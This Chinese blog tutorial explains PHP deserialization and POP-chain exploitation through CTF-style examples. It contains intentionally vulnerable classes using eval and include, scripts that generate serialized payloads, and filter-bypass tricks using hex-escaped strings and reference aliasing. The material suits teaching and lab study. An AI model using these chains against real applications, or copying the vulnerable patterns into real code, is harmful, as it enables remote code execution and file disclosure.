本文主要介绍php反序列化漏洞的一些基础知识,为后续的高阶pop利用链做基础
什么是魔术方法
魔术方法其实就是一个在特定时机自动调用的特殊方法,在开发时,只需要定义好它的内容,不需要手动触发,而其他的普通函数必须手动调用才可以执行。
这个概念在很多语言中都有,只是叫法不同,PHP 将所有以 两个下划线开头的类方法保留为魔术方法。其中PHP与python的魔术方法非常相似,甚至命名方式都很像,例如 __construct 和 __init__ 都是在创建对象时自动触发。
这里举个例子:
<?php
class student {
public function __construct($name = 'JeryGao'){
$this->name = $name;
}
public function running(){
echo $this->name . " is running";
}
}
$stu = new student();
$stu->running();student 类中有一个 __construct 构造方法,定义了 name属性的值为 JerryGao,当我们 new 一个对象时候,若没有传值,则 name值默认为 JerryGao ,因为在创建对象时,构造方法自动调用

下表为 php 常见的魔术方法:
| 分类 | 方法 | 触发时机 |
|---|---|---|
| 生命周期 | __construct() |
创建对象时(new) |
| 生命周期 | __destruct() |
对象被销毁时 |
| 属性访问 | __get($name) |
访问不存在的属性时 |
| 属性访问 | __set($name, $value) |
给不存在的属性赋值时 |
| 属性访问 | __isset($name) |
对不存在的属性调用isset() 时 |
| 属性访问 | __unset($name) |
对不存在的属性调用unset() 时 |
| 方法调用 | __call($name, $args) |
调用不存在的实例方法时 |
| 方法调用 | __callStatic($name, $args) |
调用不存在的静态方法时 |
| 对象转换 | __toString() |
对象被当作字符串使用时 |
| 对象转换 | __invoke() |
对象被当作函数调用时 |
| 克隆与序列化 | __clone() |
使用clone 复制对象时 |
| 克隆与序列化 | __sleep() |
对象被序列化前触发 |
| 克隆与序列化 | __wakeup() |
对象被反序列化时触发 |
| 其他 | __debugInfo() |
使用var_dump() 打印对象时 |
我们再看一个例子,能更好的理解魔术方法的自动调用:
<?php
class people {
private $name = 'JerryGao';
public function sleep(){
echo "<hr>";
echo $this->name . " is sleeping...\n";
}
public function __wakeup(){
echo "<hr>";
echo "调用了__wakeup()方法\n";
}
public function __construct(){
echo "<hr>";
echo "调用了__construct()方法\n";
}
public function __destruct(){
echo "<hr>";
echo "调用了__destruct()方法\n";
}
public function __toString(){
echo "<hr>";
echo "调用了__toString()方法\n";
}
public function __set($key, $value){
echo "<hr>";
echo "调用了__set()方法\n";
}
public function __get($key) {
echo "<hr>";
echo "调用了__get()方法\n";
}
}
//创建对象时,调用__construct
$star = new people();
//给不存在的属性赋值时,调用__set(name为私有属性)
$star->name = 1;
//调用私有属性,调用__get
echo $star->name;
$star->sleep();
//序列化前,调用__sleep,但此处没有
$ser_star = serialize($star);
//反序列化时,调用__wakeup
print_r(unserialize($ser_star))
//最后销毁两个对象(new对象一个,反序列化一个),调用两次__destruct
?>
相信到这里,你应该了解了魔术方法的自动调用机制。但是反序列化漏洞跟这有什么关系呢?实际上后续的反序列化pop链,就要仰仗这些自动调用的魔术方法来实现
序列化/反序列化
为什么要有序列化
- 序列化(Serialization) 是将 PHP 数据结构(变量、对象、数组等)转换为可存储或传输的字符串格式的过程。
- 反序列化(Unserialization) 则是将这个字符串还原回原始数据结构的逆过程。
听起来有点抽象,你可能会疑问,为什么要有序列化?不序列化的数据结构,没法存储和传输吗?
事实上,内存中的数据结构和可存储/传输的字节是两种完全不同的东西。
当你在 PHP 中创建一个对象:
$user = new User();
$user->name = "Alice";它在内存中实际上是这样的:
- 一 个指针,指向某块内存地址(比如
0x7ffd3a2b) - 那块内存里存着属性值
- 还有指向类定义的引用(方法表、继承关系等)
- 可能还有其他对象的引用链
这些东西只在当前进程、当前机器、当前这一刻有意义。那为什么不能直接把那块内存的字节复制出来?
- 内存指针失效:进程A的内存情况为是,user对象的内存地址为
0x7ffd3a2b,name-> 指向0x7ffd3a2b,0x7ffd3a2b处存着"Alice",但当B进程下次启动时,0x7ffd3a2b这个地址将会是别的东西,完全失效!所以说,指针是内存地址,换个进程就毫无意义了 - 边界无法界定:原始字节流里,接收方不知道从哪到哪是一个对象,哪里是字符串,哪里是整数。
- 跨语言/跨平台不兼容:32 位和 64 位系统的指针大小不同;不同 CPU 架构的字节序(大端/小端)不同; Python也根本看不懂 PHP 的内存布局
而序列化就是来解决这个问题。序列化本质上是把"只对当前进程有意义的内存结构"翻译成"放在任何地方都能被重新理解的文本/字节"。例如:
内存中的活对象 序列化字符串
━━━━━━━━━━━━━━ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[ptr: 0x7ffd3a2b] → O:4:"User":1:{s:4:"name";s:5:"Alice";}
name → [ptr: 0x7ffd3a40]
↓
"Alice"经过序列化后的字符串,不仅可以写进文件,存进数据库,还可以通过网络发送,并且一年后也能还原,另一台机器也能读懂。
用 claude 总结的一句话来说:
内存是"活的"、临时的、充满指针的;存储和网络需要"死的"、持久的、自描述的字节流。序列化就是在这两个世界之间架桥。
序列化
<?php
class stu{
public $team = 'joker';
private $team_name = 'hahaha';
protected $team_group = 'biubiu';
function hahaha(){
$this->$team_members = '奥力给';
}
}
$stu = new stu();
echo serialize($stu);
?>在上面的例子中,stu 对象序列化后的结果如下:
O:3:"stu":3:{s:4:"team";s:5:"joker";s:14:"stuteam_name";s:6:"hahaha";s:13:"*team_group";s:6:"biubiu";}下面逐块解释:
对象头部 O:3:"stu":3:
O— 表示这是一个对象(Object)3— 类名stu的字符长度"stu"— 类名3— 该对象有 3 个属性(注意:hahaha()方法里动态赋值的$this->$team_members在实例化时不会自动执行,所以不算在内)
属性 1:s:4:"team";s:5:"joker"(public)
public 属性键名直接保留原名,team 是 4 个字符,值 joker 是 5 个字符,没有任何前缀修饰。
属性 2:s:14:"\0stu\0team_name";s:6:"hahaha"(private)
private 属性会在键名前后各插入一个不可见的 \0(NULL 字节),格式是 \0类名\0属性名。所以实际键名是 \0stu\0team_name,长度 = 1+3+1+9 = 14。
属性 3:s:13:"\0*\0team_group";s:6:"biubiu"(protected)
protected 属性的前缀固定是 \0*\0,格式是 \0*\0属性名。所以实际键名是 \0*\0team_group,长度 = 1+1+1+10 = 13。
关于 hahaha() 方法里的 $this->$team_members
这里有个 PHP 的坑——$this->$team_members 是变量变量(variable variable),因为 $team_members 这个变量未定义,所以实际上不会正常执行。而且 $stu = new stu() 只是实例化,并没有手动调用 hahaha() 方法,所以序列化结果里完全没有这个属性的踪迹。
序列化格式中的字母含义:
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string反序列化
反序列化(unserialize())就是序列化的逆过程——把序列化字符串还原成 PHP 对象或数组。但它真正的危险在于:还原对象时会自动触发魔术方法,这是反序列化漏洞的核心。
我们手写一个序列化结果,然后使用反序列化函数 unserialize 进行反序列化处理,最后使用 var_dump 进行输出:
<?php
$stu = 'O:6:"object":2:{s:1:"a";i:1;s:4:"team";s:6:"hahaha";}';
$ser = unserialize($stu);
var_dump($ser);
?>var_dump 结果为:
object(__PHP_Incomplete_Class)#1 (3) { ["__PHP_Incomplete_Class_Name"]=> string(6) "object" ["a"]=> int(1) ["team"]=> string(6) "hahaha" }__PHP_Incomplete_Class
因为序列化字符串声明的类名是 object,但当前 PHP 环境中根本没有定义这个类。PHP 无法还原一个不存在的类的实例,所以就用 __PHP_Incomplete_Class 作为"占位类"来代替。
object(__PHP_Incomplete_Class)#1 (3) {
类型是对象,实际类是 __PHP_Incomplete_Class``#1 是对象编号
(3) 表示有 3个属性(注意原来只有2个,多了一个 PHP 自动注入的)
["__PHP_Incomplete_Class_Name"]=> string(6) "object"
PHP 自动注入的特殊属性,记录了原始类名 object(长度6),这就是为什么属性数量从 2 变成了 3
php反序列化漏洞原理
PHP 反序列化漏洞的核心原理是:unserialize() 函数在将字符串还原为 PHP 对象时,会自动触发该类中定义的魔术方法(如 __wakeup()、__destruct()、__toString() 等),如果攻击者能够控制传入 unserialize() 的数据,就可以精心构造一段序列化字符串,让程序实例化一个恶意对象,从而在魔术方法执行时触发危险操作(如文件读写、命令执行、SQL 注入等)——这整个过程被称为 POP 链(Property-Oriented Programming),攻击者通过拼凑代码库中已有类的属性与方法,将多个魔术方法串联起来,最终将"数据输入"转化为"代码执行"。
案例一
<?php
class A{
var $test = "demo";
function __destruct(){
@eval($this->test);
}
}
$test = $_POST['test'];
$len = strlen($test)+1;
$p = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($p); // 反序列化同时触发_destruct函数
?>
我们post传入一个 phpinfo ,可以看到直接执行了

原理:
POST 传入 test=phpinfo();,代码将其拼接成一个序列化字符串 O:1:"A":1:{s:4:"test";s:10:"phpinfo();";} ,该字符串描述了一个类 A 的实例且其 test 属性值为 phpinfo();,随后 unserialize() 对其反序列化还原出对象,PHP 在脚本执行结束销毁该对象时自动触发 __destruct() 魔术方法,方法内 eval($this->test) 将 phpinfo(); 作为 PHP 代码执行,最终输出 phpinfo 页面。
案例二
index.php
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf"))
{
echo "hello friend!<br>";
if(preg_match("/flag/",$file))
{
echo "不能现在就给你flag哦";
exit();
}
else
{
include($file);
$password = unserialize($password);
echo $password;
}
}
else
{
echo "you are not the number of bugku ! ";
}
?>hint.php
<?php
class Flag{//flag.txt
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>这个案例的关键利用点其实在 index 中的 echo $password ,unserialize反序列化将 password 变量变成了一个对象(反序列化会自动创建对象),而当echo一个对象时,会自动触发 __toString 魔术方法,而在 toString 魔术方法中,有 file_get_contents 函数可以读取flag,并且 $file 可控。
首先,file_get_contents 中传入的文件内容必须要有 welcome to the bugkuctf ,但其实这个函数不光能读本地文件,也能读 PHP流。所以我们可以txt=php://input,然后在请求体中写 welcome to the bugkuctf即可。(php://input 是一个只读流,内容就是PHP请求体(POST body))
其次,虽然存在 include 文件包含,并且 $file 字段可控,但是 preg_match 对传入的 file 做了过滤,不能有 flag ,所以我们不能直接 include flag.txt。我们要利用下方的反序列化函数,所以我们要 include hint.php 这个文件,将 Flag 类包含进来,为后续的反序列化重写 Flag 类参数做铺垫
最后,password 参数就是我们精心构造的序列化字符串:
O:4:"Flag":1:{s:4:"file";s:8:"flag.txt";}我们直接给 Flag 类中的 $file 赋值,给一个flag.txt,随后在序列化时,将我们的password字符串变成一个对象,而 echo 一个对象时(将对象当做字符串使用),会自动调用 __toString 魔术方法,这个方法我们先前 include 包含进来了,在 __toString 方法中,会直接把我们 file 参数传递的 flag.txt 放入 file_get_contents ,从而拿到flag
以下是我们构造的数据包,成功了。这个案例其实考的就是 __toString 方法,只不过稍微设置了点障碍,还算基础

补充:要想使用 PHP://input 直接读取 POST 数据,那么
enable\_post\_data\_reading = Off这一配置项必须为On,默认是On。如果设为
Off,PHP 不会读取 POST 数据,php://input也会随之失效,读到的是空字符串。
构造POP利用链
什么是POP链
POP 链的全称是 Property-Oriented Programming(面向属性编程),类比于二进制漏洞利用中的 ROP(Return-Oriented Programming)。都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。
其核心思想是:通过串联多个类的魔术方法,利用对象的属性来控制程序执行流程,最终达到攻击目的。
PHP 反序列化时会自动触发 __wakeup() 或 __destruct() 魔术方法,但这两个方法本身往往做不了什么危险操作,我们的目标通常是执行命令、写文件、SSRF 等,这些操作可能藏在其他类的某个方法里。POP 链就是把这两点连起来的桥梁。
值得一提的技巧
- 在反序列化中为了避免信息丢失,使用大写 S 支持字符串的编码。
PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写 S 表示字符串,此时这个字符串就支持将后面的字符串用 16 进制表示,使用如下形式即可绕过,即:
s:4:"user"; -> S:4:"use\72";- 深浅 copy
在 php 中如果我们使用 & 对变量 A 的值指向变量 B,这个时候是属于浅拷贝,当变量 B 改变时,变量 A 也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。
$A = &$B; - 利用 PHP 伪协议
配合 PHP 伪协议实现文件包含、命令执行等漏洞。如 glob:// 伪协议查找匹配的文件路径模式。
案例一
<?php
class main {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "hello bmjoker";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
//$a = new main();
unserialize($_GET['a']);
?>首先找利用落脚点,也就是 eval 函数,发现在 evil 类中的 action 方法里,而在 main 类中的 __destruct 调用了action,只不过是 normal 类中的action,因为构造方法中new的是 normal 对象,所以我们要篡改此处,让他 new 的是 evil 对象,当 main 对象销毁时,就会自动调用 __destruct ,从而调用 evil 中的action。此时我们还要给 evil 中的date赋值,赋上我们想要执行的命令
接下来我们写个php脚本生成payload:
<?php
class main{
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data = "phpinfo();";
}
$a = new main();
echo urlencode(serialize($a));
在这个脚本中,我们重写了 main 对象中的 __construct 方法,让他 new 的是 evil 方法,这样销毁 main 对象时,就会来到 __destruct ,从而调用 evil 的 action。我们还重写了 evil ,给里面的 $data 赋上我们要执行的命令。最后,因为protected属性序列化时,会添加不可见字符,所以我们把结果经过 urlencode 输出,最终得到:
O%3A4%3A%22main%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D我们再通过 a 传入,成功了

整体POP利用链
unserialize()
→ main::__destruct()
→ $this->ClassObj->action() // ClassObj 已被替换为 evil 对象
→ evil::action()
→ eval($this->data) // 执行 phpinfo();案例二
<?php
class MyFile {
public $name;
public $user;
public function __construct($name, $user) {
$this->name = $name;
$this->user = $user;
}
public function __toString(){
return file_get_contents($this->name);
}
public function __wakeup(){
if(stristr($this->name, "flag")!==False)
$this->name = "/etc/hostname";
else
$this->name = "/etc/passwd";
if(isset($_GET['user'])) {
$this->user = $_GET['user'];
}
}
public function __destruct() {
echo $this;
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
if(stristr($input, 'user')!==False){
die('Hacker');
} else {
unserialize($input);
}
}else {
highlight_file(__FILE__);
}分析一下,我们最终的执行点是 __toString 方法的 file_get_contents 文件读取函数,要想触发 __toString,就要让一个对象被当做字符串来使用,我们看到了 echo $this 整合我们意思,它在一个__destruct 函数中,当对象销毁时自动调用。
但是 name 参数好像不可控,我们无法直接传值,且在反序列化执行前,会自动调用 __wakeup 函数,直接定义好 name 的值,看起来我们好像无法控制 name?
然而我们可以用深浅拷贝这个小技巧,因为我们可以完全控制 user 属性,所以我们可以直接让name 和 user 指向同一内存地址:\$a->name = &\$a->user;,从而给 name 赋值
接下来我们就要在 input 参数传入我们的序列化字符串,我们在序列化字符串中肯定要给 user 参数赋值,而题目又在检测 user 字段,不允许出现
这里我们又要用到上面提到的小技巧,所以我们用大写 S 转义语法,S 类型的字符串可以用 xx(十六进制)表示字符,这我们就是用 use\72 来代替 user
以下是生成payload的脚本:
<?php
class MyFile {
public $name = '';
public $user = '';
}
$a = new MyFile();
$a->name = &$a->user;
$b = serialize($a);
$b = str_replace("user", "use\\72", $b);
$b = str_replace("s", "S", $b);
var_dump($b);
?>生成出来的序列化字符串:
O:6:"MyFile":2:{S:4:"name";S:0:"";S:4:"uSe\72";R:2;}我们需要手动将uSe改成use,随后传入,也是成功了
完整的POP链条:
unserialize($input)
│
▼
__wakeup() 触发
│
├─① $this->name = "/etc/passwd" ← 先污染 name
│
└─② $this->user = $_GET['user'] ← "flag.txt" 赋值给 user
│
└─ 引用关系(&) 导致 name 同步变为 "flag.txt"
│
▼
对象生命周期结束
│
▼
__destruct() 触发
│
└─ echo $this ← 需要将对象转为字符串
│
▼
__toString() 触发
│
└─ file_get_contents($this->name)
│
└─ $this->name = "flag.txt"
│
▼
输出 flag 内容案例三
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
unserialize($a);
?>
依旧先找最终执行的落脚点,也就是 GetFlag类中的 get_flag 方法,向上找,看到 string1 中的 __toString 方法调用了 get_flag,再往上,func 中出现字符串拼接,就会触发 __toString,所以mod1要写 string1 ,再往上,funct类中的 $1(),直接将类当做函数调用,触发 __invoke ,那么__call 方法则是在调用不存在的方法时触发,刚好Call类中出现了mod1->test2(),链条的最后一环 test1()函数,则是在 start_gg类中的__destruct方法自动调用,至此,一条完整的链条出现了
php脚本如下:
<?php
class start_gg{
public $mod1;
public function __construct(){
$this->mod1 = new Call();
}
}
class Call{
public $mod1;
public function __construct(){
$this->mod1 = new funct();
}
}
class funct{
public $mod1;
public function __construct(){
$this->mod1 = new func();
}
}
class func{
public $mod1;
public function __construct()
{
$this->mod1= new string1();
}
}
class string1{
public $str1;
public function __construct()
{
$this->str1= new GetFlag();
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = new start_gg();
echo urlencode(serialize($a));
随后将生成的序列化字符串传入 string 即可

逐步拆解:
第1步:__destruct 触发入口
// start_gg 对象被销毁时自动执行
public function __destruct() {
$this->mod1->test1(); // mod1 = Call 对象
}unserialize() 结束后对象生命周期结束,__destruct 自动触发。
第2步:test1() 正常调用
// Call::test1() 被正常调用
public function test1() {
$this->mod1->test2(); // mod1 = funct 对象,但 funct 没有 test2()!
}第3步:__call 触发
// 调用不存在的方法 test2() → 触发 __call
public function __call($test2, $arr) {
$s1 = $this->mod1; // mod1 = func 对象
$s1(); // 把对象当函数调用 → 触发 __invoke
}第4步:__invoke 触发
// func 对象被当作函数调用
public function __invoke() {
// 字符串拼接,mod1 = string1 对象
// string1 不是字符串 → 触发 __toString
$this->mod2 = "字符串拼接" . $this->mod1;
}第5步:__toString 触发
// string1 在字符串上下文中被使用
public function __toString() {
$this->str1->get_flag(); // str1 = GetFlag 对象,调用目标方法!
return "1";
}第6步:获取 Flag
public function get_flag() {
echo "flag:xxxxxxxxxxxx";
}案例四
<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
?>先找利用落脚点,发现在 Modifier 类中有个 include 函数,在append方法中,可以包含文件。随后在 __invoke 方法中发现调用了 append 方法,并且传入了 var 参数,所以我们只要将要读的文件赋值给 var 就行。那么 __invoke 方法只有在对象被当做函数调用时才触发,刚好在 Test 类中的 __get 方法存在 $function(),所以我们只需将 $function赋值为 Modifier 对象即可。而 __get 是在调用一个不存在的方法时被调用,那么在 Show 中的 __toString 方法存在 str->source,所以我们只需将 $str 赋值为 Test对象即可。而 __toString 方法则是将对象当做字符串使用时被调用,刚好在 Show 中的 __construct 有一个echo,拼接了 $this->source ,所以我们只需将 $source 赋值为 Show 对象即可。__construct 则是在创建 Show 时自动调用,至此,完整利用链出现
我们编写一个脚本:
<?php
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
}
class Modifier{
protected $var = "flag.txt";
}
$a = new Show();
$a->source = $a; //将Show对象中的source属性赋值为Show对象
$a->str = new Test(); //将Show对象中的str属性赋值为Test对象
echo urlencode(serialize($a));
?>
生成的序列化字符串:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.txt%22%3B%7D%7D%7D随后传递,成功了
完整利用链:
unserialize($_GET['pop'])
└─ 触发 Show::__wakeup()
└─ preg_match(..., $this->source) // source 是 Show 对象
└─ 触发 Show::__toString()
└─ return $this->str->source // str 是 Test,访问不存在的属性
└─ 触发 Test::__get('source')
└─ $function = $this->p // p 是 Modifier 对象
└─ return $function() // 调用 Modifier::__invoke()
└─ $this->append($this->var)
└─ include("flag.txt") // 读取 flag总结
本文就先到这里,主要介绍了php反序列化的基础概念以及原理,列举了几个简单的POP利用链。由于篇幅原因,Session 反序列化漏洞和phar 伪协议触发 php 反序列化,以及CTF实战案例,将在下一篇文章讲解
版权声明:本文采用 CC BY-NC-SA 4.0 协议授权,转载请注明出处并保留原始链接。
原文链接:https://www.jerrygao.cn//blog/phpE58F8DE5BA8FE58897E58C96E6BC8FE6B49EE59FBAE7A180
评论 0
还没有评论,成为第一个留言的人吧!
